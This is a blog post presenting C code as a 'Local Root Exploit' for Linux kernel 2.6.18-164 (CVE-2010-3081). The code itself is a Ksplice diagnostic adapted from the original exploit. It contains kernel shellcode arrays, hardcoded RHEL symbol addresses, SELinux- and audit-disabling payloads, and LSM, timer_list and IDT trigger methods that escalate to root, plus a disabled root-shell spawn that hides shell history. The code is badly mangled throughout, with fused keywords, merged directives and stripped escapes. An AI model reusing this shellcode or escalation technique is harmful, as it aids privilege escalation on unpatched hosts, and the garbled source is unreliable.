kernel-2.6.18-164 2010 Local Root Exploit

Kernel-2.6.18-164 2010 Local Root Exploit
Save this code as a c program file.
Code:

/*
kernel-2.6.18-164 2010 Local Root Exploit
=========================================
# Author: Hackeri-AL
# Email : h-al [at] hotmail [dot] it
# Group : UAH / United ALBANIA Hackers
# Web   : uah1.org.uk
# Greetz: LoocK3D - b4cKd00r ~
--------------------------------------------
Diagnostic test for CVE-2010-3081 public exploit
Greg Price, Ksplice, Inc.
Tests whether the system has previously been exposed to the exploit
published as "hackerial.c" by Hackeri-AL on 2010 Sep 15.  Based on the
original exploit code.
For more information, see
  http://www.ksplice.com/uptrack/cve-2010-3081
  
  Source: http://inj3ct0r.com/exploits/14333
*/#include<poll.h>#include<string.h>#include<unistd.h>#include<sys/types.h>#include<stdlib.h>#include<sys/wait.h>#include<sys/utsname.h>#include<sys/socket.h>#include<sched.h>#include<netinet/in.h>#include<stdio.h>#include<sys/stat.h>#include<fcntl.h>#include<sys/mman.h>#include<sys/ipc.h>#include<sys/msg.h>#include<sys/resource.h>#include<errno.h>#define _GNU_SOURCE
#define __dgdhdytrg55 unsignedint#define __yyrhdgdtfs66ytgetrfd unsignedlonglong#define __dhdyetgdfstreg__ memcpy
#define BANNER "Diagnostic tool forpublic CVE-2010-3081 exploit --Ksplice,Inc." 
               "(see http://www.ksplice.com/uptrack/cve-2010-3081)" 
               ""#define KALLSYMS              "/proc/kallsyms"#define TMAGIC_66TDFDRTS      "/proc/timer_list"#define SELINUX_PATH          "/selinux/enforce"#define RW_FOPS               "timer_list_fops"#define PER_C_DHHDYDGTREM7765 "per_cpu__current_task"#define PREPARE_GGDTSGFSRFSD  "prepare_creds"#define OVERRIDE_GGDTSGFSRFSD "override_creds"#define REVERT_DHDGTRRTEFDTD  "revert_creds"#define Y0Y0SMAP              0x100000UL#define Y0Y0CMAP              0x200000UL#define Y0Y0STOP              (Y0Y0SMAP+0xFFC)#define J0J0S                 0x00200000UL#define J0J0R00T              0x002000F0UL#define PAGE_SIZE             0x1000#define KERN_DHHDYTMLADSFPYT     0x1#define KERN_DGGDYDTEGGETFDRLAK  0x2#define KERN_HHSYPPLORQTWGFD     0x4#define KERN_DIS_GGDYYTDFFACVFD_IDT      0x8#define KERN_DIS_DGDGHHYTTFSR34353_FOPS     0x10#define KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM      0x20#define KERN_DIS_GGSTEYGDTREFRET_SEL1NUX  0x40#define isRHHGDPPLADSF(ver)(strstr(ver,".el4")|| strstr(ver,".el5"))#define __gggdfstsgdt_dddex(f, a...)do{ fprintf(stdout, f,## a); } while(0)#define __pppp_tegddewyfg(s)do{ fprintf(stdout,"%s", s);}while(0)/* #define __print_verbose(s) do { fprintf(stdout, "%s", s); } while(0) */#define __print_verbose(s)do{}while(0)#define __xxxfdgftr_hshsgdt(s)do{ perror(s);exit(-1);}while(0)#define __yyy_tegdtfsrer(s)do{ fprintf(stderr, s);exit(-1);}while(0)staticchar buffer[1024];staticint s;staticint flags=0;volatilestaticsocklen_t magiclen=0;staticint useidt=1, usefops=0, uselsm=0;static __yyrhdgdtfs66ytgetrfd _m_fops=0,_m_cred[3]={0,0,0};static __dgdhdytrg55 _m_cpu_off=0;staticchar krelease[64];staticchar kversion[128];#define R0C_0FF 14staticchar ttrg0ccc[]="x51x57x53x56x48x31xc9x48x89xf8x48x31xf6xbex41x41x41x41"  
"x3bx30x75x1fx3bx70x04x75x1ax3bx70x08x75x15x3bx70x0c"   
"x75x10x48x31xdbx89x18x89x58x04x89x58x08x89x58x0cxebx11"     
"x48xffxc0x48xffxc1x48x81xf9x4cx04x00x00x74x02"                   
"xebxccx5ex5bx5fx59xc3";               

#define R0YTTTTUHLFSTT_OFF1 5#define R0YGGSFDARTDF_DHDYTEGRDFD_D 21#define R0TDGFSRSLLSJ_SHSYSTGD 45char r1ngrrrrrrr[]="x53x52x57x48xbbx41x41x41x41x41x41x41x41xffxd3"                                 
"x50x48x89xc7x48xbbx42x42x42x42x42x42x42x42"  
"xffxd3x48x31xd2x89x50x04x89x50x14x48x89xc7"                              
"x48xbbx43x43x43x43x43x43x43x43"   
"xffxd3x5fx5fx5ax5bxc3";                                       

#define RJMPDDTGR_OFF 13#define RJMPDDTGR_DHDYTGSCAVSF 7#define RJMPDDTGR_GDTDGTSFRDFT 25staticchar ttrfd0[]="x57x50x65x48x8bx3cx25x00x00x00x00""x48xb8x41x41x41x41x41x41x41x41xffxd0"                      
"x58x5f""x90x90x90x90x90x90x90x90x90x90""x90x90x90x90x90x90x90x90x90x90""x90x90x90x90x90x90x90x90x90x90""x90x90x90x90x90x90x90x90x90x90""x90x90x90x90x90x90x90x90x90x90""xc3";/* implement selinux bypass for IDT ! */#define RJMPDDTGR_OFF_IDT 14#define RJMPDDTGR_DYHHTSFDARE 8#define RJMPDDTGR_DHDYSGTSFDRTAC_SE 27staticchar ruujhdbgatrfe345[]="x0fx01xf8x65x48x8bx3cx25x00x00x00x00"      
"x48xb8x41x41x41x41x41x41x41x41xffxd0"                                  
"x0fx01xf8""x90x90x90x90x90x90x90x90x90x90""x90x90x90x90x90x90x90x90x90x90""x90x90x90x90x90x90x90x90x90x90""x90x90x90x90x90x90x90x90x90x90""x90x90x90x90x90x90x90x90x90x90""x48xcf";  

#define CJE_4554TFFDTRMAJHD_OFF  10#define RJMPDDTGR_AYYYDGTREFCCV7761_OF      23staticchar dis4blens4sel1nuxhayettgdr64545[]="x41x52x50""xb8x00x00x00x00""x49xbax41x41x41x41x41x41x41x41""x41x89x02""x49xbax42x42x42x42x42x42x42x42""x41x89x02""x58x41x5a";           


/* rhel LSM stuffs */#define RHEL_LSM_OFF 98struct LSM_rhel 
{ 
  __yyrhdgdtfs66ytgetrfd selinux_ops;
  __yyrhdgdtfs66ytgetrfd capability_ops;
  __yyrhdgdtfs66ytgetrfd dummy_security_ops;
  __yyrhdgdtfs66ytgetrfd selinux_enforcing;
  __yyrhdgdtfs66ytgetrfd audit_enabled;
  constchar*krelease; 
  constchar*kversion;};struct LSM_rhel known_targets[4]={
  {
    0xffffffff8031e600ULL,
    0xffffffff8031fec0ULL,
    0xffffffff804acc00ULL,
    0xffffffff804af960ULL,
    0xffffffff8049b124ULL,
    "2.6.18-164.el5",
    "#1 SMP ThuSep303:28:30 EDT 2009"  // to manage minor/bug fix changes
  },
  {
   0xffffffff8031f600ULL,
   0xffffffff80320ec0ULL,
   0xffffffff804afc00ULL,
   0xffffffff804b2960ULL,
   0xffffffff8049e124ULL,
   "2.6.18-164.11.1.el5",
   "#1 SMP WedJan613:26:04 EST 2010"
  },
  {
    0xffffffff805296a0ULL,
    0xffffffff8052af60ULL,
    0xffffffff806db1e0ULL,
    0xffffffff806ddf40ULL,
    0xffffffff806d5324ULL,
    "2.6.18-164.11.1.el5xen",
    "#1 SMP WedJan2008:06:04 EST 2010"   // default xen
  },
  {
    0xffffffff8031f600ULL,// d selinux_ops
    0xffffffff80320ec0ULL,// d capability_ops
    0xffffffff804afc00ULL,// B dummy_security_ops
    0xffffffff804b2960ULL,// B selinux_enforcing
    0xffffffff8049e124ULL,// B audit_enabled
    "2.6.18-164.11.1.el5",
    "#1 SMP WedJan2007:32:21 EST 2010"// tripwire target LoL
   }};staticstruct LSM_rhel *curr_target=NULL, dyn4nt4n1labeggeyrthryt;staticint isSelinuxEnabled(){
  FILE *selinux_f;
  selinux_f = fopen(SELINUX_PATH,"r");
  if(selinux_f == NULL)
  {
    if(errno == EPERM)
      return1;
    else 
     return0;
  }
  fclose(selinux_f);
  return1;}staticint wtfyourunhere_heee(char*out_release,char* out_version){
 int ret;constchar*ptr;
 int count=0;
 char r[32],*bptr;
 struct utsname buf;
 ret =  uname(&buf);
 if(ret <0)
   return-1; 

 strcpy(out_release, buf.release);
 strcpy(out_version, buf.version);
 ptr = buf.release;
 bptr = r;
 memset(r,0x00,sizeof(r)); 
 while(*ptr)
 {
   if(count ==2)
    {
      if(*ptr >='0'&&*ptr <='9')
        *bptr++=*ptr;
      else
        break;
    }

   if(*ptr =='.')
     count++;
   ptr++;
 }
 if(strlen(r)<1||!atoi(r))
   return-1; 
 return atoi(r);}staticvoid p4tch_sel1nux_codztegfaddczda(struct LSM_rhel *table){
  *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + CJE_4554TFFDTRMAJHD_OFF))= table->selinux_enforcing;
  *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + RJMPDDTGR_AYYYDGTREFCCV7761_OF))= table->audit_enabled;
  __dhdyetgdfstreg__(ttrfd0 + RJMPDDTGR_GDTDGTSFRDFT, dis4blens4sel1nuxhayettgdr64545,sizeof(dis4blens4sel1nuxhayettgdr64545)-1); 
  __dhdyetgdfstreg__(ruujhdbgatrfe345 + RJMPDDTGR_DHDYSGTSFDRTAC_SE, dis4blens4sel1nuxhayettgdr64545,sizeof(dis4blens4sel1nuxhayettgdr64545)-1);}static __yyrhdgdtfs66ytgetrfd get_sym_ex(constchar* s,constchar* filename,int ignore_flag){
  FILE *ka;
  char line[512];
  char reloc_a[64];
  char reloc[64];
  if(!(flags & KERN_HHSYPPLORQTWGFD)&&!ignore_flag)
    return0;
  
  ka = fopen(filename,"r");
  if(!ka)
    return0;
  while(fgets(line,512, ka)!= NULL)
  {
    char*l_p  = line;
    char*ra_p = reloc_a;
    char*r_p    = reloc;
    memset(reloc,0x00,sizeof(reloc));
    memset(reloc_a,0x00,sizeof(reloc_a));
    while(*l_p !=''&&(ra_p - reloc_a)  <64)
      *ra_p++=*l_p++;  
    l_p +=3;
    while(*l_p !=''&&*l_p !=''&&*l_p !=' '&&(r_p - reloc)<64)
      *r_p++=*l_p++;
    if(!strcmp(reloc, s))
    {
      return strtoull(reloc_a, NULL,16); 
    }
  }
  return0;}staticinline __yyrhdgdtfs66ytgetrfd get_sym(constchar* s){
  return get_sym_ex(s, KALLSYMS,0);}staticint parse_cred(constchar* val){
  int i=0;
  constchar* p = val;
  charlocal[64],*l;
  for(i=0; i<3; i++)  
  {
    memset(local,0x00,sizeof(local));
    l =local;
    while(*p &&*p !=',')
      *l++=*p++;
    if(!(*p)&& i !=2)
      return-1;
    _m_cred[i]= strtoull(local, NULL,16);
    p++;
  }

  return0;}#define SELINUX_OPS        "selinux_ops"#define DUMMY_SECURITY_OPS "dummy_security_ops"#define CAPABILITY_OPS     "capability_ops"#define SELINUX_ENFORCING  "selinux_enforcing"#define AUDIT_ENABLED      "audit_enabled"struct LSM_rhel *lsm_rhel_find_target(int check_rhel){
   int i;
   char mapbuf[128];
   struct LSM_rhel *lsm =&(known_targets[0]);
   if(check_rhel &&!isRHHGDPPLADSF(krelease))
   {
     __pppp_tegddewyfg("!!!Not a RHEL kernel, will skip LSM method 
");
     return NULL;
   }
   __print_verbose("$$$ Lookingfor known RHEL kernels..");
   for(i=0; i<sizeof(known_targets)/sizeof(struct LSM_rhel); i++, lsm++)
   {
     if(!strcmp(krelease, lsm->krelease)&&!strcmp(kversion, lsm->kversion))
     {
       __gggdfstsgdt_dddex("$$$ Known target kernel:%s %s 
", lsm->krelease, lsm->kversion);
       return lsm;
     }
   }
   __print_verbose("$$$ Locating symbols fornew target...");
   strcpy(mapbuf,"/boot/System.map-");
   strcat(mapbuf, krelease);
   dyn4nt4n1labeggeyrthryt.selinux_ops        = get_sym_ex(SELINUX_OPS, mapbuf,1);
   dyn4nt4n1labeggeyrthryt.dummy_security_ops = get_sym_ex(DUMMY_SECURITY_OPS, mapbuf,1);
   dyn4nt4n1labeggeyrthryt.capability_ops     = get_sym_ex(CAPABILITY_OPS, mapbuf,1);
   dyn4nt4n1labeggeyrthryt.selinux_enforcing  = get_sym_ex(SELINUX_ENFORCING, mapbuf,1);
   dyn4nt4n1labeggeyrthryt.audit_enabled      = get_sym_ex(AUDIT_ENABLED, mapbuf,1);

   if(!dyn4nt4n1labeggeyrthryt.selinux_ops ||
      !dyn4nt4n1labeggeyrthryt.dummy_security_ops ||
      !dyn4nt4n1labeggeyrthryt.capability_ops ||
      !dyn4nt4n1labeggeyrthryt.selinux_enforcing ||
      !dyn4nt4n1labeggeyrthryt.audit_enabled)
 return NULL;

   return&dyn4nt4n1labeggeyrthryt;}void error_no_symbol(constchar*symbol){
  fprintf(stderr,
          "!!!Couldnot find symbol:%s
"
          ""
          "A symbol required by the published exploit for CVE-2010-3081isnot"
          "provided by your kernel.  The exploit would not work on your system.",
          symbol);
  exit(-1);}staticvoid put_your_hands_up_hooker(int argc,char*argv[]){
  int fd,ver,ret;
  char __b[16];

  fd = open(KALLSYMS, O_RDONLY);
  ret = read(fd, __b,16);// dummy read
  if((fd >=0&& ret >0))
  {
    __print_verbose("$$$ can read /proc/kallsyms, will usefor convenience
");// d0nt p4tch m3 br0
    flags |= KERN_HHSYPPLORQTWGFD;
  }
  close(fd);
  ver = wtfyourunhere_heee(krelease, kversion);
  if(ver <0)
    __yyy_tegdtfsrer("!!! uname failed
");
  __gggdfstsgdt_dddex("$$$ Kernel release:%s
", krelease);

  if(argc !=1)
  {
    while((ret = getopt(argc, argv,"sflc:k:o:"))>0)
    {
      switch(ret)
      {
        case'f':
          flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_GGDYYTDFFACVFD_IDT;
          break;

 case'l':
   flags |= KERN_DIS_GGDYYTDFFACVFD_IDT|KERN_DIS_DGDGHHYTTFSR34353_FOPS;
   break;
        case'c':
          if(!optarg || parse_cred(optarg)<0)
              __yyy_tegdtfsrer("!!!Unable to parse cred codes
");
          break;
        case'k':
          if(optarg)
            _m_fops = strtoull(optarg, NULL,16);
          else
      __yyy_tegdtfsrer("!!!Unable to parse fops numbers
");
          break;
        case's':
          if(!isSelinuxEnabled())
            __pppp_tegddewyfg("???-s ignored:SELinuxnot enabled
");
          else
            flags |= KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
          break;
            
        case'o':
          if(optarg)
            _m_cpu_off = strtoull(optarg, NULL,16);
   else
     __yyy_tegdtfsrer("!!!Unable to parse cpu_off numbers
");
          break;
      }
    }
  }

  if(ver >=29)// needs cred structure 
  {
    flags |= KERN_DGGDYDTEGGETFDRLAK;
  
    if(!_m_cred[0]||!_m_cred[1]||!_m_cred[2])
    {
      _m_cred[0]= get_sym(PREPARE_GGDTSGFSRFSD);
      _m_cred[1]= get_sym(OVERRIDE_GGDTSGFSRFSD); 
      _m_cred[2]= get_sym(REVERT_DHDGTRRTEFDTD);
    }
    if(!_m_cred[0])
      error_no_symbol("prepare_creds");
    if(!_m_cred[1])
      error_no_symbol("override_creds");
    if(!_m_cred[2])
      error_no_symbol("revert_creds");
    
    __print_verbose("$$$ Kernel credentials detected
");
    *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YTTTTUHLFSTT_OFF1))= _m_cred[0];
    *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YGGSFDARTDF_DHDYTEGRDFD_D))= _m_cred[1];
    *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0TDGFSRSLLSJ_SHSYSTGD))= _m_cred[2];
  }
  if(ver >=30)  // needs cpu offset
  {
    flags |= KERN_DHHDYTMLADSFPYT;
    if(!_m_cpu_off)
    _m_cpu_off =(__dgdhdytrg55)get_sym(PER_C_DHHDYDGTREM7765);
    if(!_m_cpu_off)
      error_no_symbol("per_cpu__current_task");
    __print_verbose("$$$ Kernel per_cpu relocs enabled
");
    *((__dgdhdytrg55 *)(ttrfd0 + RJMPDDTGR_DHDYTGSCAVSF))= _m_cpu_off;
    *((__dgdhdytrg55 *)(ruujhdbgatrfe345 + RJMPDDTGR_DYHHTSFDARE))= _m_cpu_off;
  }}staticvoid env_prepare(int argc,char* argv[]){
  put_your_hands_up_hooker(argc, argv);
  if(!(flags & KERN_DIS_DGDGHHYTTFSR34353_FOPS))  // try fops
  {
    __print_verbose("???Trying the timer_list_fops method
");
    if(!_m_fops)
      _m_fops = get_sym(RW_FOPS);
    /* TODO: do RW check for newer -mm kernels which has timer_list_struct RO
     * Thanks to the guy who killed this vector... you know who you are:)
     * Lucky for you, there are more:) 
     */
    if(_m_fops) 
    {
      usefops=1;
    }
  }

  if(!(flags & KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM))// try lsm(rhel)
  {
    __print_verbose("???Trying the LSM method
");
    curr_target = lsm_rhel_find_target(1);
    if(!curr_target)
    {
       __print_verbose("!!!Unable to find target for LSM method
"); 
    }
    else{
      uselsm=1;
    }
  }

  if(useidt &&(flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
  {
    // -i flag
    curr_target = lsm_rhel_find_target(0);
    if(!curr_target)
    {
       __pppp_tegddewyfg("!!!Unable to find target:continue without SELinux disabled
");
       /* remove Selinux Flag */
       flags &=~KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
    }
  }

  if(!usefops &&!useidt &&!uselsm)
    __yyy_tegdtfsrer("!!!All exploit methods failed.");  
}staticinlineint get_socklen(__yyrhdgdtfs66ytgetrfd addr, __dgdhdytrg55 stack){
  int socklen_l =8+ stack - addr -16;
  return socklen_l;}staticvoid __setmcbuffer(__dgdhdytrg55 value){
  int i;
  __dgdhdytrg55 *p =(__dgdhdytrg55*)buffer;
  for(i=0; i<sizeof(buffer)/sizeof(void*); i++)
    *(p+i)= value;}staticvoid y0y0stack(){
  void* map = mmap((void*)Y0Y0SMAP, 
                   PAGE_SIZE, 
                   PROT_READ|PROT_WRITE, 
                   MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 
                   -1,0);
  if(MAP_FAILED == map)
    __xxxfdgftr_hshsgdt("mmap");}staticvoid y0y0code(){
  void* map = mmap((void*)Y0Y0CMAP, 
                   PAGE_SIZE,#ifdef TRY_REMAP_DEFAULT 
     PROT_READ|PROT_WRITE,#else
                   PROT_READ|PROT_WRITE|PROT_EXEC,#endif
                   MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 
                   -1,0);
  if(MAP_FAILED == map)
    __xxxfdgftr_hshsgdt("mmap");}staticint rey0y0code(unsignedlong old){
  int fd;
  void*map;
  volatilechar wizard;
  char cwd[1024];
  getcwd(cwd,sizeof(cwd));  
  strcat(cwd,"/__tmpfile");

  unlink(cwd);
  fd = open(cwd, O_RDWR|O_CREAT, S_IRWXU);
  if(fd <0)
    return-1; 
  write(fd,(constvoid*)old, PAGE_SIZE); 
  if(munmap((void*)old, PAGE_SIZE)<0)
    return-1;
  map = mmap((void*)old, 
                   PAGE_SIZE, 
                   PROT_READ|PROT_EXEC, 
                   MAP_PRIVATE|MAP_FIXED, 
                   fd,0);
  if(map == MAP_FAILED)
    return-1; 

  /* avoid lazy page fault handler 
   * Triple Fault when using idt vector 
   * and no pages are already mapped:)
   */
  wizard =*((char*)old);
  unlink(cwd);
  return wizard;}void finish_shellcode(){ 
  /* set shellcode level 2 */
  if(flags & KERN_DGGDYDTEGGETFDRLAK)
  {
    __print_verbose("$$$ Using cred shellcode
");
    __dhdyetgdfstreg__((void*)J0J0R00T, r1ngrrrrrrr,sizeof(r1ngrrrrrrr));
  }
  else
  {
    __print_verbose("$$$ Using standard shellcode
");
    __dhdyetgdfstreg__((void*)J0J0R00T,  ttrg0ccc,sizeof(ttrg0ccc));
    *((unsignedint*)(J0J0R00T + R0C_0FF))= getuid();
  }#ifdef TRY_REMAP_DEFAULT
  if(rey0y0code(Y0Y0CMAP)<0)
    __yyy_tegdtfsrer("!!!Unable to remap
");#endif}int method_idt_main(){
  __yyrhdgdtfs66ytgetrfd *patch;
  __print_verbose("$$$ Building shellcode - IDT method
");   
  patch =(__yyrhdgdtfs66ytgetrfd*)(ruujhdbgatrfe345 + RJMPDDTGR_OFF_IDT);
  *patch =(__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
  if(flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX)
  {
    __print_verbose("$$$ including code to disable SELinux");
    p4tch_sel1nux_codztegfaddczda(curr_target);
  }
    
  __dhdyetgdfstreg__((void*)J0J0S,  ruujhdbgatrfe345,sizeof(ruujhdbgatrfe345));
  finish_shellcode();
  asmvolatile("int $0xdd
");
  return(getuid()==0);}int method_idt(){
  /* method_idt_main() crashes if no backdoor is present, so protect ourselves */
  int pid;
  pid = fork();
  if(pid <0){
    __xxxfdgftr_hshsgdt("!!! fork() failed");
    return0;// error
  }
  if(pid ==0){
    int r;
    struct rlimit rlim ={0,0};
    setrlimit(RLIMIT_CORE,&rlim);
    r = method_idt_main();
    exit(r ?0:1);
  }
  int status;
  waitpid(pid,&status,0);
  if(status ==0)
    return method_idt_main();
  else
    return0;}void prepare_fops_lsm_shellcode(){
  __yyrhdgdtfs66ytgetrfd *patch;
  __print_verbose("$$$ Building shellcode - fops/LSM method
");   
  patch =(__yyrhdgdtfs66ytgetrfd*)(ttrfd0 + RJMPDDTGR_OFF);
  *patch =(__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
  __setmcbuffer(J0J0S);
  if(uselsm &&(flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
  {
      __print_verbose("$$$ including code to disable SELinux");
      p4tch_sel1nux_codztegfaddczda(curr_target);
  } 
  __dhdyetgdfstreg__((void*)J0J0S, ttrfd0,sizeof(ttrfd0));
  finish_shellcode();}int method_fops(){
  int fd;
  struct pollfd pfd;
  prepare_fops_lsm_shellcode();
  fd = open(TMAGIC_66TDFDRTS, O_RDONLY);
  if(fd <0)
    __xxxfdgftr_hshsgdt("!!! could not open /proc/timer_list");
  
  pfd.fd = fd;
  pfd.events = POLLIN | POLLOUT;
  poll(&pfd,1,0);
  return(getuid()==0);}int method_lsm(){
  int msqid;
  prepare_fops_lsm_shellcode();
  msqid = msgget(0, IPC_PRIVATE|0600);
  if(msqid <0)
    __xxxfdgftr_hshsgdt("!!! msgget() failed");
  msgctl(msqid, IPC_RMID,(struct msqid_ds *) NULL);// exploit it
  return(getuid()==0);}int main(int argc,char*argv[]){
  intdone;
  printf(BANNER);
  if(getuid()==0){
    fprintf(stderr,"!!!Must run as non-root.");
    return1;
  }
  env_prepare(argc, argv);
  y0y0stack(); 
  y0y0code();
  done=0;
  __pppp_tegddewyfg("$$$ Backdoorin LSM (1/3):");
  if(uselsm){
    __pppp_tegddewyfg("checking...");
    done= method_lsm();
    if(done)
      __pppp_tegddewyfg("PRESENT
");
    else
      __pppp_tegddewyfg("not present.");
  }else{
    __pppp_tegddewyfg("not available.");
  }
  if(!done){
    __pppp_tegddewyfg("$$$ Backdoorin timer_list_fops (2/3):");
    if(usefops){
      __pppp_tegddewyfg("checking...");
      done= method_fops();
      if(done)
        __pppp_tegddewyfg("PRESENT
");
      else
        __pppp_tegddewyfg("not present.");
    }else{
      __pppp_tegddewyfg("not available.");
    }
  }
  if(!done){
    __pppp_tegddewyfg("$$$ Backdoorin IDT (3/3):");
    if(useidt){
      __pppp_tegddewyfg("checking...");
      fflush(stdout);
      done= method_idt();
      if(done)
        __pppp_tegddewyfg("PRESENT
");
      else
        __pppp_tegddewyfg("not present.");
    }else{
      __pppp_tegddewyfg("NOT CHECKING
");
    }
  }
  munmap((void*)Y0Y0CMAP, PAGE_SIZE);
  /* exec */
  if(getuid()==0)
  {
    pid_t pid;
    printf(""
           "Yourin-memory kernel HAS A BACKDOOR that may have been left
"
           "by the published exploit for CVE-2010-3081."
           ""
           "More information is available at
"
           "  http://www.ksplice.com/uptrack/cve-2010-3081"
           );
    if(0){
      /* spawn root shell as demonstration */
      pid = fork();
      if(pid ==0)
      {
        char*args[]={"/bin/sh","-i", NULL};
        char*envp[]={"TERM=linux","BASH_HISTORY=/dev/null","HISTORY=/dev/null","history=/dev/null","HISTFILE=/dev/null","HISTFILESIZE=0",
                        "PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin", NULL };
        execve("/bin/sh", args, envp);
      } 
      else  
      {
        int status;
        waitpid(pid,&status,0);
      }
    }
  }
  else{
    printf(""
           "Your system is free from the backdoors that would be left in memory
"
           "by the published exploit for CVE-2010-3081.");
  }
  close(s);
  return0;}
Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s